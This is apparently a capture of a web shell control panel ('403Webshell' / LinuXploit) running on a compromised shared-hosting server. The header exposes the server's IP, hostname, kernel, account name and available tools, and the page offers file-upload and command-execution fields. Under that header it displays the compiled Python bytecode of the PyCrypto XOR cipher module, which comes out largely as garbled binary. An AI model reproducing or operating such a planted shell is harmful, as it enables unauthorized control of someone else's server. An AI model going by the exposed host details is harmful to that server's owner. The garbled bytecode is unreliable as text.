403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.148.179.141
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/Crypto/Cipher/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/Crypto/Cipher/__pycache__/XOR.cpython-37.opt-1.pyc
B

o~�^�
�@s<dZdZddlmZGdd�d�Zdd�ZdZedd	�Zd
S)z�XOR toy cipher

XOR is one the simplest stream ciphers. Encryption and decryption are
performed by XOR-ing data with a keystream made by contatenating
the key.

Do not use it for real applications!

:undocumented: __revision__, __package__
z$Id$�)�_XORc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�	XORCipherzXOR cipher objectcOs,tj|f|�|�|_|jj|_|jj|_dS)zUInitialize a XOR cipher object
        
        See also `new()` at the module level.N)r�new�_cipher�
block_size�key_size)�self�key�args�kwargs�r�D/opt/alt/python37/lib64/python3.7/site-packages/Crypto/Cipher/XOR.py�__init__(s
zXORCipher.__init__cCs|j�|�S)z�Encrypt a piece of data.

        :Parameters:
          plaintext : byte string
            The piece of data to encrypt. It can be of any size.
        :Return: the encrypted data (byte string, as long as the
          plaintext).
        )r�encrypt)rZ	plaintextrrr
r0s	zXORCipher.encryptcCs|j�|�S)z�Decrypt a piece of data.

        :Parameters:
          ciphertext : byte string
            The piece of data to decrypt. It can be of any size.
        :Return: the decrypted data (byte string, as long as the
          ciphertext).
        )r�decrypt)rZ
ciphertextrrr
r;s	zXORCipher.decryptN)�__name__�
__module__�__qualname__�__doc__rrrrrrr
r%srcOst|f|�|�S)z�Create a new XOR cipher

    :Parameters:
      key : byte string
        The secret key to use in the symmetric cipher.
        Its length may vary from 1 to 32 bytes.

    :Return: an `XORCipher` object
    )r)r	r
rrrr
rFs
r��!N)	rZ__revision__Z
Crypto.Cipherrrrr�rangerrrrr
�<module>s!


Youez - 2016 - github.com/yon3zu
LinuXploit